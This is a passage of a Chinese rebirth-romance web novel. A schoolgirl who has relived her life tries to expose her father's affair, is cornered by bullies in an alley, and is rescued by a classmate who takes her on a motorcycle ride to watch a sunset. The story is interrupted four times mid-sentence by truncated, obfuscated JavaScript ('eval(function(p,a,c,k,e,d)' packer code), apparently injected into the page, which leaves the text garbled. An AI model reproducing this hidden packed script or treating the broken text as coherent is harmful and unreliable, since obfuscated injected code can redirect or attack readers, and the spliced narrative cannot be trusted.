“好,我答应你,不过只此一次,下不为例。” “耶,小遇,你最好了!” 姚摇激动地抱住她。 每天放学后,穆逢、大黑那帮人都会一起去踢球,下课铃声一响,他们一准蹿出教室,跑得比谁都快。 所以,想要把信交到他手里,就得提前做好准备。 最后一节是生物课,下课铃一响,老师还站在讲台上收拾东西,秦遇就飞一样跑了出去。 她想尽快把这件事了结,因为,她还有更重要的事要去做。 她在二楼到一楼的楼梯拐角处追上了穆逢。 “穆逢,等、等一下。” 这些男生脚程真快,她跑得上气不接下气,他们却像没事人一样。 “老大,又有女生找。” 有个男生高声叫了一句,其他人纷纷看过来,一脸八卦。 穆逢一手抱着足球,停住脚步。 “找我有事?” 秦遇看了看周围一个个伸长脖子看过来的男生,踌躇道“你叫他们先走,我找你有事。” 穆逢一个眼神,球队里的几个人会意,立刻蹬蹬蹬下了一楼,不过周围还有几个其他班的同学,好奇地停住脚步。 大黑过去撵人,“散了吧,都散了吧,没什么好看的,快回家吃饭,别让爸妈久等。” 人高马大的大黑,一个人就像一堵墙,隔开了放学下楼的同学和两人。 “现在可以说了,什么事?” 秦遇深吸一口气,从校服口袋里掏出那封信,送到穆逢面前。 “这个,给你。” 目光接触到粉色信封的一刹那,穆逢的眉毛高高挑起,毫不掩饰他的吃惊。 这样的场景最近发生了很多次,只一瞥,他就知道这薄薄的粉色信封代表着什么。 可是,他没想到,她也会给他写信。 他慢慢伸出手。 “这是美术班的一个女生叫我转交的,你快收下吧。” 听到秦遇的话,穆逢的眸色闪了一下,抬起的手迅速落下。 “我不收这种东西。” 语气冷硬,脸色比语气更硬。 7. 暗涌 秦遇不明白,明明刚才还好好的,怎么一转眼脸色就阴沉了八个度。 “这种东西,我没兴趣。” 穆逢说完,扭头就走,连背影都透着不快。 秦遇追上去,“你收一下吧,要不,我很难跟朋友交代。” “难交代,那就别交代了。” 穆逢像是赌气一样看向另一侧。 真是一块又臭又硬的顽石,不过,秦遇还是想再努力一下。 她绕过来,站到他面前。 “要不,你还是收下吧,毕竟是少女的一片心意,收下信也不代表要接受她,是不是?” 穆逢没说话,冷哼一声,再次抬腿走开。 情急之下,秦遇拽住了他的衣袖。 这一拽,穆逢停下脚步,视线下移,看向她的手,秦遇像是被烫到,立刻松开手,解释道, “拜托,你就收下吧,我还有事要忙,得赶紧走。要不然,我下次请你吃东西?” 看她一脸焦急的模样,穆逢嘴角抽动了一下,到底忍不住改了口,“行,你放我桌洞里吧。不过,先说好,我是不会看的。” “当然当然,那是你的自由。” 秦遇开心地说,“那我就不打扰了,祝你们踢球愉快,再创辉煌,加油!” 她右手握拳,在空中用力挥了一下,然后转身跑回了教室。 看着她欢快的背影,不知道为什么,穆逢觉得心头发堵的感觉慢慢消失了。 嘴角不自觉得微微翘起。 秦遇来到穆逢的课桌,伸手把那封信往桌洞里塞。 奇怪,桌洞里不是她想象里的那么宽敞,相反,被塞得满满当当,几乎连一封信都塞不下。 她蹲下来仔细一看,嗬,里面居然都是信,还掉出来几封。 她从地上捡起来,有粉色有紫色,还有淡淡的水蓝色,上面的字迹大都娟秀文雅,一看就是女孩子写得。 有的上面精心画了装饰,有的贴着可爱的贴纸,还有的喷了香水,散发着浓烈的香气。 秦遇啧啧摇头。 这么多情书,真是不得了。 她把捡起来的信和姚摇给的那封放在一起,整理好后,一起塞进穆逢的桌洞。 球场上,穆逢刚进了今天的第二个球,到场地边喝水,就在这时,一抹熟悉的身影从围栏外经过。 是秦遇,只见她骑着那辆破旧的二手车,车后座还坐着一个瘦得像竹竿、背弯得像虾米的男生。 两个人有说有笑,无比快乐的样子。 穆逢的视线跟随着两个人,一直到他们在路口拐弯,再也看不见。 “老大,那小子是六班的,叫徐伟民,是秦遇的邻居,据说,他们是一个家属院的,从小一起长大。” 穆逢没说话,手里喝完的宝矿瓶却被他捏成了一张纸。 大黑眉毛抖了一下,“老大,你先别急,这个徐伟民,怎么说呢?”大黑为难地挠挠头,“不知道怎么回事,女生缘特别好,他跟秦遇应该不是那种关系……” “不踢了,先走了。” 穆逢丢下这句话,拾起外套朝球场外走。 这边,秦遇一边载着徐伟民,一边吐槽。 “伟民,不是我说你,你也该学骑自行车了,每次咱俩一起出门,都是我载你,累死我了。” “我就是不想学,我可是给你帮了大忙的,要不是我表哥在这里上班,你今天的事可难办。” “好,我真心谢谢你,载你来是我应该做的。” “哼,知道就行了。” 终于到了通讯公司营业厅,秦遇放下车子,一溜烟跑进去,大厅里的时钟显示,现在是5:46,离下班还有14分钟。 “别着急,还有时间。” 徐伟民追上来,从柜台里叫出自己的表哥。 徐家表哥和细竹竿一样的徐伟民截然相反,白白胖胖,走起路来像一颗缓慢移动的巨大糯米团子。 求人帮忙要嘴甜,秦遇跟着徐伟民叫,“表哥,你好,我是小遇,来帮我爸爸打印他这三个月的通话记录。” 双手奉上爸爸的身份证,态度恭敬有礼,外加一个甜美笑容。 白胖表哥接过她手里的身份证,一边打开复印机放进去,一边打了个哈欠,“照理说,必须得本人来才能打印,不过,反正你是代你爸办事,也有授权书和身份证,就这样吧。” “你俩在这里等着,五分钟就好。” 听到他这么说,秦遇长长松了一口气,往椅背上一靠,安心等待。 落地玻璃窗外暮色浮动,太阳刚刚落下,天边呈现出蓝紫交错的静谧色彩,街景越来越暗,然后,到了一个临界点,忽然又亮起来。 路灯亮了,世界开启夜间模式。 “好了,拿去吧。” “谢谢表哥,谢谢表哥。” 秦遇连连道谢,表哥挥挥手,“走吧,我要关灯锁门了。” 秦遇把那份长长的通话记录折了三折,小心地夹到练习册里。 因为赶着来办事,两人还没吃饭,秦遇和徐伟民决定在附近找点吃的。 营业厅旁边,是本城最大的摩托车销售行,门前挂着“第一摩托销售”的霓虹招牌,在蓝黑夜色中十分明亮。 秦遇提议,“去吃拉面吧,就在摩销行前面,不过我没力气载你了,等吃完饭再说。” 徐伟民接过她的车子,“我帮你推。” 摩托车行门前的一大片空地,是洗车和维修场地,走过的时候,秦遇无意中看了一眼,居然看到一个熟悉的身影。 她以为自己看错,眨眨眼,又看了一次。 没错,是穆逢。 只见他穿着白天的灰色卫衣,袖子高高挽起,露出结实的手臂,正在弯腰给他那辆哈雷摩托喷漆。 维修场地的灯光白得刺眼,她眯起眼睛。 既然穆逢背对着她,应该就不用打招呼了吧。 正想着,对方已经转过身来,拿下防护罩,两人的视线正好撞在一起。 她条件反射地挥手,微笑,这是她和熟人打招呼的固定程序。 穆逢看她一眼,把手里的防护罩和喷漆枪随意丢到地上,然后,斜倚到摩托车上,从口袋里抽出烟和火机, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小皮靴敲打地面,发出清脆的啪嗒声,由远及近,一个穿着皮衣和短裙的女孩跑过来,抱起穆逢的手臂,“穆逢哥,你在这里实在太好了,你送我回家,好不好?” 深秋的天气,女孩黑色皮衣里只穿一件小吊带,露出大片白皙胸口和半截腰肢。 女孩扬起画着淡妆的脸,看向穆逢的眼中写满崇拜,眼皮上的淡蓝色眼影闪着细碎的光。 秦遇抬起手肘碰了碰徐伟民,压低声音说“走啦。” 徐伟民会意,两人正准备转身,穆逢一把甩开女生的手,不耐烦道“我不认识你,离我远点。” 女生还想扑过来抱他的手臂,被穆逢冷酷的眼神吓到,硬生生止住。 “穆逢哥,你不记得我了吗?我是安丽珍呀,安强的妹妹!” 安强是他常去打台球的台球厅的小老板,穆逢和他还算熟悉,可他对这个安丽珍,实在没有印象。 “穆逢哥,你忘了,上次你跟我哥打球,我还给你们送过可乐……” 穆逢不耐烦地挥手打断她,“找我有事?” 再次被打断,安丽珍涂着厚粉的脸涨红了,泪水涌上精心装扮过的眼睛。 她的声音变得更娇柔,“穆逢哥,我的车子坏了,天这么黑,我好害怕,你能不能送我回家?” 说着,还跺了跺脚,十足撒娇意味。 秦遇和徐伟民你看看我,我看看你,两人都觉得应该走,可是没人迈出第一步。 他们都不想错过这个吃瓜的机会。 8. 行动 车行走廊下的灯亮如白昼,安丽珍仰起脸看穆逢,眼神中闪烁着渴望。 少女模仿着成熟女人的姿态,努力扮出风情和妩媚。 可是穆逢并不吃这一套,他指了指车行灯火通明的办公室,“去那里打电话,叫你哥来接你。” “这样太麻烦了,哥哥还要看场子,反正穆逢哥的摩托正好在这里,送我一程,好不好嘛?” 安丽珍绕到穆逢面前,笑靥如花,声音里甜得能滴出蜜来。 秦遇觉得,此刻手边如果有盘瓜子就好了。 今晚第一次,穆逢认真看向安丽珍,安丽珍暗暗调整微笑,让自己呈现出最好的状态,接着,穆逢唇角勾出一抹讽刺的弧度,轻轻吐出一句话,“想坐我的车?” 见他这样说,安丽珍以为有机会,立刻娇笑点头。 穆逢却敛了笑,靠到车身上,一字一句道,“我的车,不是谁都能坐的。” 说这句话的时候,他抬眼看向秦遇。 两人之间的距离说长不长,说短不短。他的视线穿过浮动的夜色、白炽灯的光晕、穿过明暗交界的地带,直抵她眼眸。 秦遇心头一跳,总觉得这句话似乎意有所指,可她不太明白。 “那你说,谁能坐?”安丽珍的声音里带了一丝赌气。 穆逢眼皮都不抬一下,“反正不是你。” “你!” 习惯了被男生奉承的安丽珍,哪里受过这种冷脸,她气得猛一跺脚,转身跑走,哒哒哒的皮靴声在夜色中渐渐消失。 戏散场了,他们也该走了。 秦遇和徐伟民不约而同地转身,身后响起一道冷冷的声线。 “喂,你们两个。” 穆逢朝秦遇和徐伟民走过来,两人被迫回转身看他。 他在距离她们不到一米的地方站住,身上带着淡淡的烟草味和机油味。 那双黑沉沉的眼睛里似笑非笑。 “看戏看够了吗?” 他的声音里带着毫不掩饰的嘲弄。 秦遇尴尬地眼都不知道往哪里放,徐伟民倒是反应快,立刻皱起眉头,一脸痛苦状,“哎哟,我刚才崴了一下脚,不过这会已经好了。” “走了走了,穆逢同学,你忙。” 徐伟民说着,拉着秦遇就往外走,秦遇赶紧跟上,挥动另一只手对穆逢道别,“拜拜。” 转过头对徐伟民抱怨,“你拽得太狠了,轻一点。” “是你走太慢了。” 穆逢站在阴影里,静静看着两人一边拌嘴、一边远去的背影,片刻后,他忽然飞起一脚,把地上的一粒石子踢得很远、很远。 和徐伟民一起吃了热乎乎的拉面,又载着他在冷风中赶回家,在寒冷的夜风中,她愣是出了一身汗。 两人在楼道里道别,徐伟民迈开长腿,三两步就上了楼,秦遇取出钥匙,插进锁眼里,轻轻一转,蹑手蹑脚地进了门。 客厅里传来电视的声音,爸妈模糊的交谈声。 她故意不开灯,在走廊的黑暗里摸索着爸爸的外套口袋,把那枚身份证偷偷塞进去。 完美! 一转身,两颗透亮的珠子浮动在黑暗中。 她吓得捂住嘴,片刻后才反应过来,那是秦征的眼睛。 “秦征!你怎么总是偷偷摸摸站在别人身后,扮背后灵上瘾了?!” 秦征抬手按下墙壁上的开关,伴随着“啪”的一声,走廊里的灯光亮起,秦遇眯起眼。 秦征走到她面前,仰起脸问她,“你在偷爸爸的钱?” “瞎说什么呢?我怎么会干这种事!” 秦遇在他额头弹了一下,摊开空空的双手给他看,“我刚才从地上捡到爸爸的身份证,放回了他衣服里。” 就在这时,客厅里的爸妈听见动静走过来,秦爸爸笑着对秦妈妈说,“我就说嘛,身份证肯定是不小心掉在家里了。” 秦遇注意到,爸爸的语气里,有一丝不易察觉的放松,与此同时,妈妈的笑容也不再僵硬,她看向秦遇,柔声问,“和伟民补习累了吧?要不要再吃点宵夜?” “不用了,妈,我刚吃了一大碗拉面,这会还觉得撑。” 秦遇借口还要温习功课,回了自己房间。 刚刚父母表情的细微变化,让她猜到,两人此前可能有了一番不快。 爸爸强调身份证是落在家里了,言下之意就是没有落在外面,什么情况下,一个人的身份证才会落在外面?大概率是脱衣服的时候。 顺着这条线想下去,秦遇忽然意识到,或许妈妈也早就觉出了端倪,只不过还没有捅破这层纸。 上一世的时候,这个年纪的她根本不会注意到成年人之间的暗流涌动,如今自己经历了恋爱、结婚、离婚,对男女之事有了经验,很明显感觉到了父母之间的裂隙。 她要尽快把姓陈的女人赶走。 她知道,一个人要出轨,是拦不住的,没有姓陈的,也会有姓张的、姓李的。 可她还是想尽力一试,让妈妈尽可能地晚知道这件事。 尤其是,这个姓陈的女人和爸爸不是露水姻缘,两人之间的地下情持续了很多年。 这给妈妈带来的打击,几乎是毁灭性的。 第二天下午,第一节课上到一半,秦遇就举手说自己肚子疼,要请假回家。 好学生的优待之一,就是偶尔说谎时,老师都会不假思索地相信。 宋有才当即批准,还安排一位女同学送她到校门口。 “你快回去上课吧,我没事的,搭个三轮车回家休息一下就好。” 打发了女同学,秦遇招手坐上一辆人力三轮,三轮渐渐驶离学校,她脸上的痛苦表情慢慢消失。 三轮车在两条街道外的一个商场停下,秦遇付了钱,跳下三轮车,钻进一家服装店,借口试衣服,在试衣间里脱下校服,换上提前准备好的灰色外套,戴上一顶黑色帽子,帽檐压地极低。 走出试衣间的时候,因为什么也没买,也没对衣服表示出丝毫兴趣,店里的售货员飞速翻了个白眼。 不过秦遇没看见。 眼下,她所有的注意力都放在前方五十米处的小学。 她已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尽管只是浏览了几眼,短信里的赤裸和热情还是让她觉得不适,有一种奇异的恶心感。 不过,她就快要终结这一切了。 让这肮脏的感情见鬼去吧! 她已经拍下了那个小鬼的照片,接下来,她就要冲洗胶卷,把这些照片甩到那个女人脸上,警告她不许再来破坏他们家,否则,她的儿子就会知道自己的妈妈是什么货色…… 不知不觉中,她已经拐进了一条小巷,视线随之一暗。 走了几步,她才意识到,这是一条平时几乎没走过的路。 狭长、曲折的巷道,一侧立着高高的住宅楼,几乎挡住了所有阳光,另一侧是一人多高的墙壁,灰白墙面上有蜿蜒的裂缝,墙根处有一团又一团灰绿色的霉菌。 走着走着,她的脚步慢下来。 这条路,莫名的有些熟悉,不,不止熟悉,还让她没来由的害怕。 她在疑惑中扫视四周,当她看到前面探出墙头的老槐树的树枝时,心头一震,一切都想起来了。 9. 解围 上一世,就是在这条巷子里,她遭遇了人生第一次、也是仅有一次的霸凌。 一群职校的小太妹把她围堵在那面墙下,逼她交出一百块钱。 她们把她的书包翻过来,倒出书包里所有的东西,翻遍了她的钱包和所有边角缝隙,拿走了三十七块五角钱,还在她左脸颊上扇了一巴掌,以示不满。 当时,幸亏她那位黑胖的堂哥路过,吓退了那群太妹,否则,很难说她还会不会挨第二下。 秦遇下意识摸了摸自己的左脸,指尖仿佛还能触到那种火辣辣的感觉。 或许,她不该走这条路。 秦遇转过身,想沿原路返回。 可是已经晚了,巷子那头,出现了几颗五颜六色的脑袋。 是那群小太妹,挑染成亮蓝和橘红的头发,越来越近。 该来的跑不掉,果然,这次霸凌就是她的命运,重来一次还是躲不掉。 她闭了闭眼,打算铆足劲从另一头跑出去,只要出了巷子,来到大路上,她们就不敢当众动手。 可是对方比她动作更快,她刚跑了两步,就被身后的脚步声追上,下一秒,她已经被她们团团包围住。 正对着她的太妹,画着夸张的烟熏妆,抱着双臂,一只腿站定,另一只腿斜支在地上,双腿不停地抖动。 “七中的好学生啊!” 太妹一边嚼着嘴里的口香糖,一边含混不清地说着,周围的女生立刻附和地笑起来,带着不怀好意的嘲弄。 为首的太妹侧头,“呸”一口吐出口香糖,往前一步站到她面前,揪住了她的衣领。 看起来干瘦干瘦的女生,力气却大的吓人,秦遇注意到,她的手指发黄,带着浓浓的烟草味,这一切,让她有种干呕的冲动。 “识相的,交出一百块钱,姐妹也不为难你。” “要不然,今天有你好看!” 放完狠话,她松开秦遇的衣领,示意她主动打开书包、交钱。 “我没有那么多。” 或许是秦遇声音里的平静激怒了她,为首的太妹忽然发狂,一把扯过她肩上的书包,拉开拉链,“哗啦”一声把所有东西都倒在地上。 似曾相识的一幕,果然又发生了。 “你说没有就没有?小八,黑妞,你们俩把钱翻出来,一个角落也不许放过。” 立刻有两个女生走上前来,蹲在地上翻她的书包。 课本、练习册、课外书被翻过后,粗暴地丢到一边,美少女战士的铁皮笔盒被打开,笔和橡皮滚了一地,她和姚摇上课偷偷写的小纸条掉出来,钱包里的三十多块钱被翻出来,交到太妹首领手中。 “豆豆姐,只有这些。” 被叫做“豆豆姐”的太妹抖着腿,数了数手里的钱,脸上露出轻蔑的神情。 “都说七中的孩子家境好,怎么你身上才这点钱?” 目前局势一对多,硬碰硬的话,吃亏的只有她,秦遇垂眸,放低了声音,“我家很穷。” 太妹冷哼一声,“以为我是三岁小孩?你包里这个相机,可值不少钱呢!” 太妹说着,把那相机拿在手里晃了晃,她拉开相机包的拉链,取出相机, ?“还是尼康的呢,既然你没钱,就用这个抵吧。” “不行!” 秦遇忽然大喊一声,接着用尽可能平和的声音解释,“那是我租的,请不要动!” 开玩笑,为了租这部相机,她可是拿出了所有的零花钱,足足五百块押金,万一被她们拿走,就赎不回来了。 那太妹把相机随手塞给身边的一个跟班,走到秦遇身边,朝她腿上狠狠踹了一脚。 一阵疼痛袭来,秦遇咬紧了牙,不让自己出声。擒贼先擒王,这个念头从她脑中闪过。 她或许敌不过这么多人,可是,如果她认准了一个人,只攻击这个所谓的“头目”…… “从来没有人敢吼我张豆豆的,看来,该给你上上课了。” 话音未落,秦遇已经扑过来,掐住了她的脖子。 她从没做过这些事,一切全凭本能和一腔孤勇。 权衡利弊、隐忍不发的计量全都褪去,那一瞬间,心中只有一个念头:她不能让自己白白被欺负两次。 她用尽全身的力气掐住对方的喉咙,可是到底没有经验,对方怔愣过后也反应过来,抓住她的双手往外掰。 张豆豆的帮凶也上来帮忙,秦遇的双臂被钳制住,动弹不得。 张豆豆猛烈地咳嗽了两声,浓妆艳抹的脸因愤怒而扭曲。 “你有种!敢掐我!” “我今天就要给你这张粉白的脸上点颜色,再在你身上留几个印迹,让你永远记得我张豆豆。” 张豆豆说着,把袖子高高撸上去,一步步逼近她,与此同时,她身后的一个高个子女生拿出打火机,点燃了一支烟。 秦遇心头一颤。 所谓留下印迹,就是用烟头在皮肤上烫出疤痕,这种事情,她听同学说过,是校外小混混欺负人的手段之一。 看来,这一世的霸凌比上一次更严重。 她紧张地咬住下唇。 堂哥怎么还不来?他不是应该出现在这里,救下她的吗? 张豆豆的手高高扬起,这一巴掌下来,一定比上一世更疼。 秦遇闭了闭眼,准备迎接即将到来的疼痛。 “啪嗒,”是什么东西落在地上的声音,紧接着,响起张豆豆高亢尖利的呼痛声。 “操!谁,谁在暗算老娘!” 张豆豆捂着手,疼得打转,疯狂地四处张望,秦遇也不由自主地抬起头,就在这时,夕阳移到了住宅楼的西边,原本被遮挡的光线,斜斜射过来。 温暖的金光洒在墙头,勾勒出少年修长的身影,他一条长腿垂下来,另一条腿屈起,踩在墙头上。 逆光中,秦遇看不清他的脸,却听得出他的声音。 “这么多人欺负一个,很光彩吗?” 穆逢的声音懒洋洋的,带着几分漫不经心。 张豆豆立刻回骂,“你是什么东西,我张豆豆的事,要你管……” 话还没说完,又一枚石子飞过来,正中她膝盖,她左腿一软,差点歪倒在地。 穆逢从墙头一跃而下,站到她面前,手里还玩弄着一枚石子。 “我这个人,就喜欢多管闲事。” 他说着,瞟一眼她的腿,“刚才那一下,是回敬你踢她的一脚。” 他有一双黑沉沉的眼睛,和利刃一样的目光。 是个生面孔,年龄和自己差不多,这是张豆豆的第一印象,可是与此同时,对方一个眼神,就让她感受到了莫大的压力。 那是内敛的凶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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穆逢张开手,轻轻包覆住她的手,“别怕,有我在。” 他的手好大,温暖而干燥,一对比,才发觉自己的指尖一片湿冷。 过了足有一分钟,她终于缓缓松开手,手指关节因用力而微微发酸。 一恢复对双手的控制,她立刻抽回手。刚才的紧绷让她觉得有些丢脸,那暴露了她的不安和害怕,她不喜欢这种感觉。 她起身收拾地上的文具,撕烂的试卷,破掉的课本封面,被风吹到角落的小纸条…… 穆逢没说话,而是默默帮她一起收拾。 两人一前一后走到巷子口,夕阳下,穆逢那辆高大的摩托横在路边。 秦遇抱紧了怀里的书包,“今天谢谢你,我先回学校了……” 穆逢一把拉起她的手,往摩托车边走。 她想要挣脱,“你干嘛?” 穆逢把她的手攥得更紧,“带你去兜风。” “可是学校……” “既然都逃课了,索性逃到底,玩个痛快,我带你去看个好东西。” 穆逢不由分说地把头盔扣在她头上,一抬下巴,“上车。” 10. 夕阳 秦遇有些犹豫,坦白说,她现在情绪低落,确实不想去学校,可是坐他的摩托去兜风,这个进展是她始料未及的。 “好学生,你该不是要我扶你上车吧?” 秦遇连连摆手,“不用,不用。” 穆逢长腿一抬,跨坐在摩托上,侧头催促她,“快上来。” 她咬了咬下唇,踩上比她膝盖还高的脚蹬,按着他的肩膀上了车。 “头盔给我,你怎么办?” “放心,我属猫的,有九条命。” 最后一个字说完,摩托像子弹一样弹射出去,秦遇一惊,吓得绷直身体,双手去摸索座位旁边的栏杆。 “这车没有抓手,害怕就抱紧我。” 穆逢的声音从前面飘过来,因为头盔的阻隔,听起来有些模糊。 她犹犹豫豫地张开手臂,指尖在就要触碰到他的外套时,又缩回来。 她已经很久没和男性这样接近过,自从吕程出轨,她对和异性近距离接触,总有些抵触。 不对,她想到哪里去了? 他不过是个十六岁的少年。 在她低头犹豫的瞬间,穆逢的摩托车忽然来了急转弯,吓得她尖叫一声,下意识张开双臂,抱紧了他的腰。 少年的腰劲瘦有力,没有一丝赘肉,和被烟酒侵蚀、缺乏锻炼的成年男人完全不同。 她的脸蹭上了他的皮衣,冰凉而柔滑的质地,莫名有一种抚慰人心的力量。 她的泪,无声地留下来。 车辆川流不息,风声呼啸而过,他载着她穿过大街小巷,穿过人潮涌动,向着夕阳的方向奔去。 摩托车驶出城区,驶向郊外,穿过一条铺满金色落叶的林荫道,停在道路尽头。 路的尽头,是一条河。 “下来吧。” 秦遇点点头,按着他的肩膀下车。 一下车,她就把手忙脚乱地摘下头盔,用袖子擦去脸上的泪痕。 “喂,你怎么了?” 穆逢扳过她的肩膀,看到她一双眼睛红得像兔子,微微肿起来。 秦遇拨开他的手,尴尬地别过脸,向他伸出一只手,“有没有纸?” 她的嗓音带着沙哑,像是磁带转动时发出的声音。 “啊,有,有。” 穆逢从口袋里掏出手帕纸,小心翼翼地放到她手上,“你哭了?” 秦遇一边擦着不断涌出的眼泪,一边抽噎着解释,“我是在哭,不过这不代表我脆弱,我……我控制不住……这哭只是发泄,让我自己哭一会,你转过去,就当做什么都没看见……” 话还没说完,一只有力的手扣住她后脑勺,轻轻一带,她整个人撞到他怀里。 少年清冽的气息把她包围。 鼻尖是结实的胸膛,额头轻触到坚硬的锁骨。 那时的她还不明白,这个猝不及防的拥抱,像一场摧枯拉朽的浩劫的序曲,闯进她生命里。 穆逢清冷的声线在头顶响起。 “没见过像你这么啰里八嗦的。” “想哭就哭,想笑就笑,用不着跟谁解释!” 他的话很不客气,拥抱她的动作带着生涩和一丝粗鲁,在她后背轻拍的手,却无比温柔。 像是无言的安慰。 她从小泪点就低,结婚以前,前夫看到她哭,会想办法逗她开心,可是婚后,看到她为两人间的摩擦流泪,却时常露出不耐烦的表情。 不知不觉间,她开始觉得,哭是一件会给别人带来麻烦的事。 后来,和吕程有矛盾时,她就会忍住眼泪,平和理性和他探讨,家庭的问题,工作的烦恼,两人之间的摩擦,全部按照他喜欢的方式来探讨。 吕程说,她变成熟了,她自己也这样以为。 直到东窗事发。 太妹的霸凌和前夫的背叛,此刻重叠在一起,让她的悲伤加倍。 穆逢的手,一下一下轻轻拍打着她的后背,融化了她心里那道假装坚强的防线,她终于松开了紧咬的下唇,埋头在他肩上,不管不顾地哭出来。 最开始是无声的饮泣,后来就变成毫无顾忌的大哭,在抽噎的间隙,还不忘问穆逢要纸,擦掉眼泪和鼻涕。 把她拉到怀里的那一瞬间,穆逢也愣了一下。 这个始料未及的动作,是身体先于他的意识做出的行动。 他第一次抱一个女生,连手往哪里放都不明白,只觉得她和球场上横冲直撞的男生坚硬的身体完全不同,让他莫名想到夏日里的水蜜桃,仿佛一不小心,就会擦破皮。 心脏在胸腔中激烈的跳动,喉头一阵发干,她的哭声和呜咽,又让他心头莫名划过一丝酸楚。 女生真是奇怪,刚刚扑向小太妹时,她凶狠得像一头豹子,这时候却哭得像个三岁的小孩。 “怎么样?好看吗?” 擦净眼泪,收拾心情,秦遇坐在一块磨得亮亮的大石块上,穆逢大喇喇坐在她旁边的草丛里,抬手指向西边。 河流的尽头,夕阳正缓缓沉入水中,水面上的半个火球正在熊熊燃烧着,像是要把所有的能量燃烧殆尽,天边和水面都被烧成了一片赤红。 天地之间再无其他,只有这一片红。 这样浓烈,这样美好。 秦遇看得出神,穆逢略带得意地说,“我就知道你会喜欢。” “我小时候,每次不开心的时候就喜欢看夕阳,怎么样?是不是很美。” 穆逢往后一靠,以手作枕,躺到了草地上,侧头凝视着夕阳。 秦遇问,“你是什么时候到巷子里的?” “从她踢你腿的时候。” 穆逢转头看向她,“我爬上墙头的时候,正好看见她踢你,等我找到石子的时候,你已经扑向她了。” 秦遇“哦”了一声。 “你真叫人意外,我没想到,你会这么冲动。” 秦遇撇撇嘴,“不该夸我勇敢吗?” 穆逢笑了,夕阳的余晖落在他眼睛里,染红了她的身影。 “对,是我说错话,你很勇敢。” 这是秦遇第一次看见他笑,浑然天成的少年感扑面而来,和平时的冷冽孤傲完全不同,竟透出三分纯真和可爱。 “干嘛这么看我?我脸上有什么?” 穆逢疑惑地摸摸脸,秦遇别开眼,“谁看你了,少自作多情。” 穆逢不以为意地看向河面,一大片金光漂浮在水上,闪闪发光。 “对了,你今天下午,为什么逃课?” “我……有点事。”家丑不可外扬,她可不想一五一十说出爸爸出轨的事。 穆逢不满地“切” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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河堤上的路灯三三两两地亮起来,他们头顶的这一盏,因为年久失修,接触不良,一闪一闪的。 一个人的时候,秦遇很怕这种深夜里闪烁不停地路灯,让她想起恐怖片中的场景,不过这一次,她却觉得愉快而温暖,像是阳光晒在身上的余温,久久不散。 穆逢还是把自己的头盔给她戴,系搭扣的时候,他的手指擦过她的下巴,惊道,“你的脸怎么这么冰?” 说着,脱下自己的皮衣递给她。 秦遇看着他里面的短袖T恤,连连摆手,“不用,我不冷。” 说着,刚好一阵冷风吹过,她打了个喷嚏。 穆逢看了她一眼,没说话,不由分说地把那件皮衣给她套上,径自跳上摩托,对她一扬下巴。 “走了。” 既然他这样坚持,秦遇也不再推辞,默默爬上了后座。 她确实觉得冷,把皮衣的拉链一直拉到脖子下,又把两只手缩进长长的袖子里。 尽管这样,当她抱住他的腰时,还是感觉到,他薄薄T恤下的体温,比穿了两层外套的自己还要高。 11. 旋转 穆逢把摩托开到了本城最繁华的商场外,秦遇疑惑地问,“不回学校吗?” 商场一楼,钟表店家的玻璃橱窗里清楚显示,现在是晚上七点十分,正是晚自习的时间。 “回什么学校,还没吃饭,你不饿吗?” 经他一说,秦遇才发觉,自己早已经饥肠辘辘。 “可是……” 穆逢看着她,“没什么可是的,你忘了,你还欠我一顿饭。” 想起来了,为了帮姚摇的同学送情书,她随口许诺了一句要请他吃东西。 “我没忘,不过,现在就要兑现吗?” 穆逢斩钉截铁地说,“对,就是现在,因为我饿了。” 说着,大步流星地向商场走去。 秦遇追上去,“要吃哪一家?” 穆逢抬头,指指最上面的旋转餐厅,“那里。” 高楼顶端的旋转餐厅,远远看去像是巨大的飞碟,霓虹招牌上,闪烁着“蓝岛咖啡”几个大字。 餐厅茶色的透明窗玻璃上,闪烁着千禧年间人们对未来的无限希冀。 这是当年城内的顶流餐厅,据说餐厅差不多每小时转一圈,不过因为速度缓慢,坐在其中用餐的人,几乎感觉不到。 她记得这个餐厅,上一世,考到班里前三名的时候,庆祝高考结束的时候,她和姚摇都曾来这里吃过,精品西餐的菜色,价格不菲,是只有特殊的日子才会去的高级餐厅。 遗憾地是,十多年后,因为城市规划,整栋楼被拆除,这承载着她青春记忆的餐厅也随之消失。 认真算起来,大约就是在两年前,当时,很多同学在微信群里表达不舍,还有不少同学专程赶来,拍照、录视频,留作纪念。 时光如水,却能填海埋山,转眼少年白头。 和这样的人世变迁比起来,下午的不快迅速坍缩成一粒微尘。 她吐出一口气,步伐也轻快起来。 这是重生以后,她第一次来逛这家商场,周围的一切熟悉又陌生,就像久远的记忆突然活了过来,走到她面前。 走过摆着小灵通的柜台,动感十足的旋律传过来“Ijustwantyoutoknow,IwannabeyourRomeo,HeyJuliet……” 前面是电视专卖区,她欣喜地跑过去,她记得这首广告曲,是奥林巴斯的相机广告,当年和姚摇一起抄下歌词学着唱,后来,这种风靡一时的轻薄相机被智能手机取代,就连奥林巴斯这个品牌也淡出她们的生活。 